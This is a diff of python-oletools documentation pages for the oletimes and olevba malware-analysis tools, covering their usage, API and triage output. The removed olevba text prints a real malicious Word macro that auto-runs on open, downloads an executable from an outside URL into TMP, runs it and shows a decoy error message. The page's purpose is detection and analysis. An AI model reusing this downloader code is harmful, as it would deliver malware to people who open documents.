11 -<p>oletimes is a script to parse OLE files such as MS Office documents (e.g. Word, Excel), to extract creation and modification times of all streams and storages in the OLE file.</p>  
12 -<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>  
13 -<h2 id="usage">Usage</h2>  
14 -<pre><code>oletimes.py &lt;file&gt;</code></pre>  
15 -<h3 id="example">Example</h3>  
16 -<p>Checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p>  
17 -<pre><code>&gt;oletimes.py DIAN_caso-5415.doc  
18 -  
19 -+----------------------------+---------------------+---------------------+  
20 -| Stream/Storage name | Modification Time | Creation Time |  
21 -+----------------------------+---------------------+---------------------+  
22 -| Root | 2014-05-14 12:45:24 | None |  
23 -| &#39;\x01CompObj&#39; | None | None |  
24 -| &#39;\x05DocumentSummaryInform | None | None |  
25 -| ation&#39; | | |  
26 -| &#39;\x05SummaryInformation&#39; | None | None |  
27 -| &#39;1Table&#39; | None | None |  
28 -| &#39;Data&#39; | None | None |  
29 -| &#39;Macros&#39; | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 |  
30 -| &#39;Macros/PROJECT&#39; | None | None |  
31 -| &#39;Macros/PROJECTwm&#39; | None | None |  
32 -| &#39;Macros/VBA&#39; | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 |  
33 -| &#39;Macros/VBA/ThisDocument&#39; | None | None |  
34 -| &#39;Macros/VBA/_VBA_PROJECT&#39; | None | None |  
35 -| &#39;Macros/VBA/__SRP_0&#39; | None | None |  
36 -| &#39;Macros/VBA/__SRP_1&#39; | None | None |  
37 -| &#39;Macros/VBA/__SRP_2&#39; | None | None |  
38 -| &#39;Macros/VBA/__SRP_3&#39; | None | None |  
39 -| &#39;Macros/VBA/dir&#39; | None | None |  
40 -| &#39;WordDocument&#39; | None | None |  
41 -+----------------------------+---------------------+---------------------+</code></pre>  
42 -<h2 id="how-to-use-oletimes-in-python-applications">How to use oletimes in Python applications</h2>  
43 -<p>TODO</p>  
44 -<hr />  
45 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
46 -<ul>  
47 -<li><a href="Home.html">Home</a></li>  
48 -<li><a href="License.html">License</a></li>  
49 -<li><a href="Install.html">Install</a></li>  
50 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
51 -<li>Tools:  
52 -<ul>  
53 -<li><a href="olebrowse.html">olebrowse</a></li>  
54 -<li><a href="oleid.html">oleid</a></li>  
55 -<li><a href="olemeta.html">olemeta</a></li>  
56 -<li><a href="oletimes.html">oletimes</a></li>  
57 -<li><a href="olevba.html">olevba</a></li>  
58 -<li><a href="pyxswf.html">pyxswf</a></li>  
59 -<li><a href="rtfobj.html">rtfobj</a></li>  
60 -</ul></li>  
61 -</ul>  
62 -</body>  
63 -</html> 1 +<p>oletimes</p>
  2 +<p>========</p>
  3 +<p>oletimes is a script to parse OLE files such as MS Office documents (e.g. Word,</p>
  4 +<p>Excel), to extract creation and modification times of all streams and storages</p>
  5 +<p>in the OLE file.</p>
  6 +<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
  7 +<h2 id="usage">Usage</h2>
  8 +<pre><code>oletimes.py &lt;file&gt;</code></pre>
  9 +<h3 id="example">Example</h3>
  10 +<p>Checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p>
  11 +<pre><code>&gt;oletimes.py DIAN_caso-5415.doc
  12 +
  13 +
  14 +
  15 ++----------------------------+---------------------+---------------------+
  16 +
  17 +| Stream/Storage name | Modification Time | Creation Time |
  18 +
  19 ++----------------------------+---------------------+---------------------+
  20 +
  21 +| Root | 2014-05-14 12:45:24 | None |
  22 +
  23 +| &#39;\x01CompObj&#39; | None | None |
  24 +
  25 +| &#39;\x05DocumentSummaryInform | None | None |
  26 +
  27 +| ation&#39; | | |
  28 +
  29 +| &#39;\x05SummaryInformation&#39; | None | None |
  30 +
  31 +| &#39;1Table&#39; | None | None |
  32 +
  33 +| &#39;Data&#39; | None | None |
  34 +
  35 +| &#39;Macros&#39; | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 |
  36 +
  37 +| &#39;Macros/PROJECT&#39; | None | None |
  38 +
  39 +| &#39;Macros/PROJECTwm&#39; | None | None |
  40 +
  41 +| &#39;Macros/VBA&#39; | 2014-05-14 12:45:24 | 2014-05-14 12:45:24 |
  42 +
  43 +| &#39;Macros/VBA/ThisDocument&#39; | None | None |
  44 +
  45 +| &#39;Macros/VBA/_VBA_PROJECT&#39; | None | None |
  46 +
  47 +| &#39;Macros/VBA/__SRP_0&#39; | None | None |
  48 +
  49 +| &#39;Macros/VBA/__SRP_1&#39; | None | None |
  50 +
  51 +| &#39;Macros/VBA/__SRP_2&#39; | None | None |
  52 +
  53 +| &#39;Macros/VBA/__SRP_3&#39; | None | None |
  54 +
  55 +| &#39;Macros/VBA/dir&#39; | None | None |
  56 +
  57 +| &#39;WordDocument&#39; | None | None |
  58 +
  59 ++----------------------------+---------------------+---------------------+</code></pre>
  60 +<h2 id="how-to-use-oletimes-in-python-applications">How to use oletimes in Python applications</h2>
  61 +<p>TODO</p>
  62 +<hr />
  63 +<p>python-oletools documentation</p>
  64 +<hr />
  65 +<ul>
  66 +<li><p><a href="Home.html">Home</a></p></li>
  67 +<li><p><a href="License.html">License</a></p></li>
  68 +<li><p><a href="Install.html">Install</a></p></li>
  69 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  70 +<li><p>Tools:</p>
  71 +<ul>
  72 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  73 +<li><p><a href="oleid.html">oleid</a></p></li>
  74 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  75 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  76 +<li><p><a href="olevba.html">olevba</a></p></li>
  77 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  78 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  79 +</ul></li>
  80 +</ul>
oletools/doc/olevba.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="olevba">olevba</h1>  
11 -<p>olevba is a script to parse OLE and OpenXML files such as MS Office documents (e.g. Word, Excel), to <strong>detect VBA Macros</strong>, extract their <strong>source code</strong> in clear text, and detect security-related patterns such as <strong>auto-executable macros</strong>, <strong>suspicious VBA keywords</strong> used by malware, and potential <strong>IOCs</strong> (IP addresses, URLs, executable filenames, etc). It also detects and decodes several common <strong>obfuscation methods including Hex encoding, StrReverse, Base64, Dridex</strong>, and extracts IOCs from decoded strings.</p>  
12 -<p>It can be used either as a command-line tool, or as a python module from your own applications.</p>  
13 -<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>  
14 -<p>olevba is based on source code from <a href="https://github.com/unixfreak0037/officeparser">officeparser</a> by John William Davison, with significant modifications.</p>  
15 -<h2 id="supported-formats">Supported formats</h2>  
16 -<ul>  
17 -<li>Word 97-2003 (.doc, .dot), Word 2007+ (.docm, .dotm)</li>  
18 -<li>Excel 97-2003 (.xls), Excel 2007+ (.xlsm, .xlsb)</li>  
19 -<li>PowerPoint 2007+ (.pptm, .ppsm)</li>  
20 -</ul>  
21 -<h2 id="main-features">Main Features</h2>  
22 -<ul>  
23 -<li>Detect VBA macros in MS Office 97-2003 and 2007+ files</li>  
24 -<li>Extract VBA macro source code</li>  
25 -<li>Detect auto-executable macros</li>  
26 -<li>Detect suspicious VBA keywords often used by malware</li>  
27 -<li>Detect and decodes strings obfuscated with Hex/Base64/StrReverse/Dridex</li>  
28 -<li>Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names</li>  
29 -<li>Scan multiple files and sample collections (wildcards, recursive)</li>  
30 -<li>Triage mode for a summary view of multiple files</li>  
31 -<li>Scan malware samples in password-protected Zip archives</li>  
32 -<li>Python API to use olevba from your applications</li>  
33 -</ul>  
34 -<p>MS Office files encrypted with a password are also supported, because VBA macro code is never encrypted, only the content of the document.</p>  
35 -<h2 id="about-vba-macros">About VBA Macros</h2>  
36 -<p>See <a href="http://www.decalage.info/en/vba_tools">this article</a> for more information and technical details about VBA Macros and how they are stored in MS Office documents.</p>  
37 -<h2 id="how-it-works">How it works</h2>  
38 -<ol style="list-style-type: decimal">  
39 -<li>olevba checks the file type: If it is an OLE file (i.e MS Office 97-2003), it is parsed right away.</li>  
40 -<li>If it is a zip file (i.e. MS Office 2007+), olevba looks for all OLE files stored in it (e.g. vbaProject.bin), and opens them.</li>  
41 -<li>olevba identifies all the VBA projects stored in the OLE structure.</li>  
42 -<li>Each VBA project is parsed to find the corresponding OLE streams containing macro code.</li>  
43 -<li>In each of these OLE streams, the VBA macro source code is extracted and decompressed (RLE compression).</li>  
44 -<li>olevba looks for specific strings obfuscated with various algorithms (Hex, Base64, StrReverse, Dridex).</li>  
45 -<li>olevba scans the macro source code and the deobfuscated strings to find suspicious keywords, auto-executable macros and potential IOCs (URLs, IP addresses, e-mail addresses, executable filenames, etc).</li>  
46 -</ol>  
47 -<h2 id="usage">Usage</h2>  
48 -<pre><code>Usage: olevba.py [options] &lt;filename&gt; [filename2 ...]  
49 -  
50 -Options:  
51 - -h, --help show this help message and exit  
52 - -r find files recursively in subdirectories.  
53 - -z ZIP_PASSWORD, --zip=ZIP_PASSWORD  
54 - if the file is a zip archive, open first file from it,  
55 - using the provided password (requires Python 2.6+)  
56 - -f ZIP_FNAME, --zipfname=ZIP_FNAME  
57 - if the file is a zip archive, file(s) to be opened  
58 - within the zip. Wildcards * and ? are supported.  
59 - (default:*)  
60 - -t triage mode, display results as a summary table  
61 - (default for multiple files)  
62 - -d detailed mode, display full results (default for  
63 - single file)  
64 - -i INPUT, --input=INPUT  
65 - input file containing VBA source code to be analyzed  
66 - (no parsing)  
67 - --decode display all the obfuscated strings with their decoded  
68 - content (Hex, Base64, StrReverse, Dridex). </code></pre>  
69 -<h3 id="examples">Examples</h3>  
70 -<p>Scan a single file:</p>  
71 -<pre><code>olevba.py file.doc</code></pre>  
72 -<p>Scan a single file, stored in a Zip archive with password &quot;infected&quot;:</p>  
73 -<pre><code>olevba.py malicious_file.xls.zip -z infected</code></pre>  
74 -<p>Scan a single file, showing all obfuscated strings decoded:</p>  
75 -<pre><code>olevba.py file.doc --decode</code></pre>  
76 -<p>Scan VBA source code extracted into a text file:</p>  
77 -<pre><code>olevba.py -i source_code.vba</code></pre>  
78 -<p>Scan a collection of files stored in a folder:</p>  
79 -<pre><code>olevba.py MalwareZoo/VBA/*</code></pre>  
80 -<p>Scan all .doc and .xls files, recursively in all subfolders:</p>  
81 -<pre><code>olevba.py MalwareZoo/VBA/*.doc MalwareZoo/VBA/*.xls -r</code></pre>  
82 -<p>Scan all .doc files within all .zip files with password, recursively:</p>  
83 -<pre><code>olevba.py MalwareZoo/VBA/*.zip -r -z infected -f *.doc</code></pre>  
84 -<h3 id="detailed-analysis-mode-default-for-single-file">Detailed analysis mode (default for single file)</h3>  
85 -<p>When a single file is scanned, or when using the option -d, all details of the analysis are displayed.</p>  
86 -<p>For example, checking the malware sample <a href="https://malwr.com/analysis/M2I4YWRhM2IwY2QwNDljN2E3ZWFjYTg3ODk4NmZhYmE/">DIAN_caso-5415.doc</a>:</p>  
87 -<pre><code>&gt;olevba.py c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip -z infected  
88 -===============================================================================  
89 -FILE: DIAN_caso-5415.doc.malware in c:\MalwareZoo\VBA\DIAN_caso-5415.doc.zip  
90 -Type: OLE  
91 --------------------------------------------------------------------------------  
92 -VBA MACRO ThisDocument.cls  
93 -in file: DIAN_caso-5415.doc.malware - OLE stream: Macros/VBA/ThisDocument  
94 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
95 -Option Explicit  
96 -Private Declare Function URLDownloadToFileA Lib &quot;urlmon&quot; (ByVal FVQGKS As Long,_  
97 -ByVal WSGSGY As String, ByVal IFRRFV As String, ByVal NCVOLV As Long, _  
98 -ByVal HQTLDG As Long) As Long  
99 -Sub AutoOpen()  
100 - Auto_Open  
101 -End Sub  
102 -Sub Auto_Open()  
103 -SNVJYQ  
104 -End Sub  
105 -Public Sub SNVJYQ()  
106 - OGEXYR &quot;http://germanya.com.ec/logs/test.exe&quot;, Environ(&quot;TMP&quot;) &amp; &quot;\sfjozjero.  
107 -exe&quot;  
108 -End Sub  
109 -Function OGEXYR(XSTAHU As String, PHHWIV As String) As Boolean  
110 - Dim HRKUYU, lala As Long  
111 - HRKUYU = URLDownloadToFileA(0, XSTAHU, PHHWIV, 0, 0)  
112 - If HRKUYU = 0 Then OGEXYR = True  
113 - Dim YKPZZS  
114 - YKPZZS = Shell(PHHWIV, 1)  
115 - MsgBox &quot;El contenido de este documento no es compatible con este equipo.&quot; &amp;  
116 -vbCrLf &amp; vbCrLf &amp; &quot;Por favor intente desde otro equipo.&quot;, vbCritical, &quot;Equipo no  
117 - compatible&quot;  
118 - lala = URLDownloadToFileA(0, &quot;http://germanya.com.ec/logs/counter.php&quot;, Envi  
119 -ron(&quot;TMP&quot;) &amp; &quot;\lkjljlljk&quot;, 0, 0)  
120 - Application.DisplayAlerts = False  
121 - Application.Quit  
122 -End Function  
123 -Sub Workbook_Open()  
124 - Auto_Open  
125 -End Sub  
126 -  
127 -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
128 -ANALYSIS:  
129 -+------------+----------------------+-----------------------------------------+  
130 -| Type | Keyword | Description |  
131 -+------------+----------------------+-----------------------------------------+  
132 -| AutoExec | AutoOpen | Runs when the Word document is opened |  
133 -| AutoExec | Auto_Open | Runs when the Excel Workbook is opened |  
134 -| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |  
135 -| Suspicious | Lib | May run code from a DLL |  
136 -| Suspicious | Shell | May run an executable file or a system |  
137 -| | | command |  
138 -| Suspicious | Environ | May read system environment variables |  
139 -| Suspicious | URLDownloadToFileA | May download files from the Internet |  
140 -| IOC | http://germanya.com. | URL |  
141 -| | ec/logs/test.exe&quot; | |  
142 -| IOC | http://germanya.com. | URL |  
143 -| | ec/logs/counter.php&quot; | |  
144 -| IOC | germanya.com | Executable file name |  
145 -| IOC | test.exe | Executable file name |  
146 -| IOC | sfjozjero.exe | Executable file name |  
147 -+------------+----------------------+-----------------------------------------+</code></pre>  
148 -<h3 id="triage-mode-default-for-multiple-files">Triage mode (default for multiple files)</h3>  
149 -<p>When several files are scanned, or when using the option -t, a summary of the analysis for each file is displayed. This is more convenient for quick triage of a collection of suspicious files.</p>  
150 -<p>The following flags show the results of the analysis:</p>  
151 -<ul>  
152 -<li><strong>OLE</strong>: the file type is OLE, for example MS Office 97-2003</li>  
153 -<li><strong>OpX</strong>: the file type is OpenXML, for example MS Office 2007+</li>  
154 -<li><strong>?</strong>: the file type is not supported</li>  
155 -<li><strong>M</strong>: contains VBA Macros</li>  
156 -<li><strong>A</strong>: auto-executable macros</li>  
157 -<li><strong>S</strong>: suspicious VBA keywords</li>  
158 -<li><strong>I</strong>: potential IOCs</li>  
159 -<li><strong>H</strong>: hex-encoded strings (potential obfuscation)</li>  
160 -<li><strong>B</strong>: Base64-encoded strings (potential obfuscation)</li>  
161 -<li><strong>D</strong>: Dridex-encoded strings (potential obfuscation)</li>  
162 -</ul>  
163 -<p>Here is an example:</p>  
164 -<pre><code>c:\&gt;olevba.py \MalwareZoo\VBA\samples\*  
165 -Flags Filename  
166 ------------ -----------------------------------------------------------------  
167 -OLE:MASI--- \MalwareZoo\VBA\samples\DIAN_caso-5415.doc.malware  
168 -OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_1.doc.malware  
169 -OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_2.doc.malware  
170 -OLE:MASI--- \MalwareZoo\VBA\samples\DRIDEX_3.doc.malware  
171 -OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_4.doc.malware  
172 -OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_5.doc.malware  
173 -OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_6.doc.malware  
174 -OLE:MAS---- \MalwareZoo\VBA\samples\DRIDEX_7.doc.malware  
175 -OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_8.doc.malware  
176 -OLE:MASIHBD \MalwareZoo\VBA\samples\DRIDEX_9.xls.malware  
177 -OLE:MASIH-- \MalwareZoo\VBA\samples\DRIDEX_A.doc.malware  
178 -OLE:------- \MalwareZoo\VBA\samples\Normal_Document.doc  
179 -OLE:M------ \MalwareZoo\VBA\samples\Normal_Document_Macro.doc  
180 -OpX:MASI--- \MalwareZoo\VBA\samples\RottenKitten.xlsb.malware  
181 -OLE:MASI-B- \MalwareZoo\VBA\samples\ROVNIX.doc.malware  
182 -OLE:MA----- \MalwareZoo\VBA\samples\Word within Word macro auto.doc</code></pre>  
183 -<hr />  
184 -<h2 id="how-to-use-olevba-in-python-applications">How to use olevba in Python applications</h2>  
185 -<p>olevba may be used to open a MS Office file, detect if it contains VBA macros, extract and analyze the VBA source code from your own python applications.</p>  
186 -<p>IMPORTANT: olevba is currently under active development, therefore this API is likely to change.</p>  
187 -<h3 id="import-olevba">Import olevba</h3>  
188 -<p>First, import the <strong>oletools.olevba</strong> package, using at least the VBA_Parser and VBA_Scanner classes:</p>  
189 -<pre><code>from oletools.olevba import VBA_Parser, VBA_Scanner</code></pre>  
190 -<h3 id="parse-a-ms-office-file">Parse a MS Office file</h3>  
191 -<p>To parse a file on disk, create an instance of the <strong>VBA_Parser</strong> class, providing the name of the file to open as parameter. For example:</p>  
192 -<pre><code>vba = VBA_Parser(&#39;my_file_with_macros.doc&#39;)</code></pre>  
193 -<p>The file may also be provided as a bytes string containing its data. In that case, the actual filename must be provided for reference, and the file content with the data parameter. For example:</p>  
194 -<pre><code>myfile = &#39;my_file_with_macros.doc&#39;  
195 -filedata = open(myfile, &#39;rb&#39;).read()  
196 -vba = VBA_Parser(myfile, data=filedata)</code></pre>  
197 -<p>VBA_Parser will raise an exception if the file is not a supported format, either OLE (MS Office 97-2003) or OpenXML (MS Office 2007+).</p>  
198 -<h3 id="detect-vba-macros">Detect VBA macros</h3>  
199 -<p>The method <strong>detect_vba_macros</strong> of a VBA_Parser object returns True if VBA macros have been found in the file, False otherwise.</p>  
200 -<pre><code>if vba.detect_vba_macros():  
201 - print &#39;VBA Macros found&#39;  
202 -else:  
203 - print &#39;No VBA Macros found&#39;</code></pre>  
204 -<p>Note: The detection algorithm looks for streams and storage with specific names in the OLE structure, which works fine for all the supported formats listed above. However, for some formats such as PowerPoint 97-2003, this method will always return False because VBA Macros are stored in a different way which is not yet supported by olevba.</p>  
205 -<p>Moreover, if the file contains an embedded document (e.g. an Excel workbook inserted into a Word document), this method may return True if the embedded document contains VBA Macros, even if the main document does not.</p>  
206 -<h3 id="extract-vba-macro-source-code">Extract VBA Macro Source Code</h3>  
207 -<p>The method <strong>extract_macros</strong> extracts and decompresses source code for each VBA macro found in the file (possibly including embedded files). It is a generator yielding a tuple (filename, stream_path, vba_filename, vba_code) for each VBA macro found.</p>  
208 -<ul>  
209 -<li>filename: If the file is OLE (MS Office 97-2003), filename is the path of the file. If the file is OpenXML (MS Office 2007+), filename is the path of the OLE subfile containing VBA macros within the zip archive, e.g. word/vbaProject.bin.</li>  
210 -<li>stream_path: path of the OLE stream containing the VBA macro source code</li>  
211 -<li>vba_filename: corresponding VBA filename</li>  
212 -<li>vba_code: string containing the VBA source code in clear text</li>  
213 -</ul>  
214 -<p>Example:</p>  
215 -<pre><code>for (filename, stream_path, vba_filename, vba_code) in vba.extract_macros():  
216 - print &#39;-&#39;*79  
217 - print &#39;Filename :&#39;, filename  
218 - print &#39;OLE stream :&#39;, stream_path  
219 - print &#39;VBA filename:&#39;, vba_filename  
220 - print &#39;- &#39;*39  
221 - print vba_code</code></pre>  
222 -<h3 id="analyze-vba-source-code">Analyze VBA Source Code</h3>  
223 -<p>Note: this API is under active development and may change in the future.</p>  
224 -<p>The class <strong>VBA_Scanner</strong> can be used to scan the source code of a VBA module to find obfuscated strings, suspicious keywords, IOCs, auto-executable macros, etc.</p>  
225 -<p>First, create a VBA_Scanner object with a string containing the VBA source code (for example returned by the extract_macros method). Then call the methods <strong>scan</strong> or <strong>scan_summary</strong> to get the results of the analysis.</p>  
226 -<p>scan() takes an optional argument include_decoded_strings: if set to True, the results will contain all the encoded strings found in the code (Hex, Base64, Dridex) with their decoded value.</p>  
227 -<p><strong>scan</strong> returns a list of tuples (type, keyword, description), one for each item in the results.</p>  
228 -<ul>  
229 -<li>type may be either 'AutoExec', 'Suspicious', 'IOC', 'Hex String', 'Base64 String' or 'Dridex String'.</li>  
230 -<li>keyword is the string found for auto-executable macros, suspicious keywords or IOCs. For obfuscated strings, it is the decoded value of the string.</li>  
231 -<li>description provides a description of the keyword. For obfuscated strings, it is the encoded value of the string.</li>  
232 -</ul>  
233 -<p>Example:</p>  
234 -<pre><code>vba_scanner = VBA_Scanner(vba_code)  
235 -results = vba_scanner.scan(include_decoded_strings=True)  
236 -for kw_type, keyword, description in results:  
237 - print &#39;type=%s - keyword=%s - description=%s&#39; % (kw_type, keyword, description)</code></pre>  
238 -<p>The function <strong>scan_vba</strong> is a shortcut for VBA_Scanner(vba_code).scan():</p>  
239 -<pre><code>results = scan_vba(vba_code, include_decoded_strings=True)  
240 -for kw_type, keyword, description in results:  
241 - print &#39;type=%s - keyword=%s - description=%s&#39; % (kw_type, keyword, description)</code></pre>  
242 -<p><strong>scan_summary</strong> returns a tuple with the number of items found for each category: (autoexec, suspicious, IOCs, hex, base64, dridex).</p>  
243 -<h3 id="detect-auto-executable-macros-deprecated">Detect auto-executable macros (deprecated)</h3>  
244 -<p><strong>Deprecated</strong>: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.</p>  
245 -<p>The function <strong>detect_autoexec</strong> checks if VBA macro code contains specific macro names that will be triggered when the document/workbook is opened, closed, changed, etc.</p>  
246 -<p>It returns a list of tuples containing two strings, the detected keyword, and the description of the trigger. (See the malware example above)</p>  
247 -<p>Sample usage:</p>  
248 -<pre><code>from oletools.olevba import detect_autoexec  
249 -autoexec_keywords = detect_autoexec(vba_code)  
250 -if autoexec_keywords:  
251 - print &#39;Auto-executable macro keywords found:&#39;  
252 - for keyword, description in autoexec_keywords:  
253 - print &#39;%s: %s&#39; % (keyword, description)  
254 -else:  
255 - print &#39;Auto-executable macro keywords: None found&#39;</code></pre>  
256 -<h3 id="detect-suspicious-vba-keywords-deprecated">Detect suspicious VBA keywords (deprecated)</h3>  
257 -<p><strong>Deprecated</strong>: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.</p>  
258 -<p>The function <strong>detect_suspicious</strong> checks if VBA macro code contains specific keywords often used by malware to act on the system (create files, run commands or applications, write to the registry, etc).</p>  
259 -<p>It returns a list of tuples containing two strings, the detected keyword, and the description of the corresponding malicious behaviour. (See the malware example above)</p>  
260 -<p>Sample usage:</p>  
261 -<pre><code>from oletools.olevba import detect_suspicious  
262 -suspicious_keywords = detect_suspicious(vba_code)  
263 -if suspicious_keywords:  
264 - print &#39;Suspicious VBA keywords found:&#39;  
265 - for keyword, description in suspicious_keywords:  
266 - print &#39;%s: %s&#39; % (keyword, description)  
267 -else:  
268 - print &#39;Suspicious VBA keywords: None found&#39;</code></pre>  
269 -<h3 id="extract-potential-iocs-deprecated">Extract potential IOCs (deprecated)</h3>  
270 -<p><strong>Deprecated</strong>: It is preferable to use either scan_vba or VBA_Scanner to get all results at once.</p>  
271 -<p>The function <strong>detect_patterns</strong> checks if VBA macro code contains specific patterns of interest, that may be useful for malware analysis and detection (potential Indicators of Compromise): IP addresses, e-mail addresses, URLs, executable file names.</p>  
272 -<p>It returns a list of tuples containing two strings, the pattern type, and the extracted value. (See the malware example above)</p>  
273 -<p>Sample usage:</p>  
274 -<pre><code>from oletools.olevba import detect_patterns  
275 -patterns = detect_patterns(vba_code)  
276 -if patterns:  
277 - print &#39;Patterns found:&#39;  
278 - for pattern_type, value in patterns:  
279 - print &#39;%s: %s&#39; % (pattern_type, value)  
280 -else:  
281 - print &#39;Patterns: None found&#39;</code></pre>  
282 -<h3 id="close-the-vba_parser">Close the VBA_Parser</h3>  
283 -<p>After usage, it is better to call the <strong>close</strong> method of the VBA_Parser object, to make sure the file is closed, especially if your application is parsing many files.</p>  
284 -<pre><code>vba.close()</code></pre>  
285 -<hr />  
286 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
287 -<ul>  
288 -<li><a href="Home.html">Home</a></li>  
289 -<li><a href="License.html">License</a></li>  
290 -<li><a href="Install.html">Install</a></li>  
291 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
292 -<li>Tools:  
293 -<ul>  
294 -<li><a href="olebrowse.html">olebrowse</a></li>  
295 -<li><a href="oleid.html">oleid</a></li>  
296 -<li><a href="olemeta.html">olemeta</a></li>  
297 -<li><a href="oletimes.html">oletimes</a></li>  
298 -<li><a href="olevba.html">olevba</a></li>  
299 -<li><a href="pyxswf.html">pyxswf</a></li>  
300 -<li><a href="rtfobj.html">rtfobj</a></li>  
301 -</ul></li>  
302 -</ul>  
303 -</body>  
304 -</html> 1 +<p>olevba</p>
  2 +<p>======</p>
  3 +<p>olevba is a script to parse OLE and OpenXML files such as MS Office documents</p>
  4 +<p>(e.g. Word, Excel), to <strong>detect VBA Macros</strong>, extract their <strong>source code</strong> in clear text,</p>
  5 +<p>and detect security-related patterns such as <strong>auto-executable macros</strong>, **suspicious</p>
  6 +<p>VBA keywords** used by malware, anti-sandboxing and anti-virtualization techniques,</p>
  7 +<p>and potential <strong>IOCs</strong> (IP addresses, URLs, executable filenames, etc).</p>
  8 +<p>It also detects and decodes several common **obfuscation methods including Hex encoding,</p>
  9 +<p>StrReverse, Base64, Dridex**, and extracts IOCs from decoded strings.</p>
  10 +<p>It can be used either as a command-line tool, or as a python module from your own applications.</p>
  11 +<p>It is part of the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package.</p>
  12 +<p>olevba is based on source code from <a href="https://github.com/unixfreak0037/officeparser">officeparser</a></p>
  13 +<p>by John William Davison, with significant modifications.</p>
  14 +<h2 id="supported-formats">Supported formats</h2>
  15 +<ul>
  16 +<li><p>Word 97-2003 (.doc, .dot)</p></li>
  17 +<li><p>Word 2007+ (.docm, .dotm)</p></li>
  18 +<li><p>Word 2003 XML (.xml)</p></li>
  19 +<li><p>Excel 97-2003 (.xls)</p></li>
  20 +<li><p>Excel 2007+ (.xlsm, .xlsb)</p></li>
  21 +<li><p>PowerPoint 2007+ (.pptm, .ppsm)</p></li>
  22 +</ul>
  23 +<h2 id="main-features">Main Features</h2>
  24 +<ul>
  25 +<li><p>Detect VBA macros in MS Office 97-2003 and 2007+ files</p></li>
  26 +<li><p>Extract VBA macro source code</p></li>
  27 +<li><p>Detect auto-executable macros</p></li>
  28 +<li><p>Detect suspicious VBA keywords often used by malware</p></li>
  29 +<li><p>Detect anti-sandboxing and anti-virtualization techniques</p></li>
  30 +<li><p>Detect and decodes strings obfuscated with Hex/Base64/StrReverse/Dridex</p></li>
  31 +<li><p>Extract IOCs/patterns of interest such as IP addresses, URLs, e-mail addresses and executable file names</p></li>
  32 +<li><p>Scan multiple files and sample collections (wildcards, recursive)</p></li>
  33 +<li><p>Triage mode for a summary view of multiple files</p></li>
  34 +<li><p>Scan malware samples in password-protected Zip archives</p></li>
  35 +<li><p>Python API to use olevba from your applications</p></li>
  36 +</ul>
  37 +<p>MS Office files encrypted with a password are also supported, because VBA macro code is never</p>
  38 +<p>encrypted, only the content of the document.</p>
  39 +<h2 id="about-vba-macros">About VBA Macros</h2>
  40 +<p>See <a href="http://www.decalage.info/en/vba_tools">this article</a> for more information and technical details about VBA Macros</p>
  41 +<p>and how they are stored in MS Office documents.</p>
  42 +<h2 id="how-it-works">How it works</h2>
  43 +<ol style="list-style-type: decimal">
  44 +<li><p>olevba checks the file type: If it is an OLE file (i.e MS Office 97-2003), it is parsed right away.</p></li>
  45 +<li><p>If it is a zip file (i.e. MS Office 2007+), olevba looks for all OLE files stored in it (e.g. vbaProject.bin), and opens them.</p></li>
  46 +<li><p>olevba identifies all the VBA projects stored in the OLE structure.</p></li>
  47 +<li><p>Each VBA project is parsed to find the corresponding OLE streams containing macro code.</p></li>
  48 +<li><p>In each of these OLE streams, the VBA macro source code is extracted and decompressed (RLE compression).</p></li>
  49 +<li><p>olevba looks for specific strings obfuscated with various algorithms (Hex, Base64, StrReverse, Dridex).</p></li>
  50 +<li><p>olevba scans the macro source code and the deobfuscated strings to find suspicious keywords, auto-executable macros</p></li>
  51 +</ol>
  52 +<p>and potential IOCs (URLs, IP addresses, e-mail addresses, executable filenames, etc).</p>
  53 +<h2 id="usage">Usage</h2>
  54 +<pre><code>Usage: olevba.py [options] &lt;filename&gt; [filename2 ...]
  55 +
  56 +
  57 +
  58 +Options:
  59 +
  60 + -h, --help show this help message and exit
  61 +
  62 + -r find files recursively in subdirectories.
  63 +
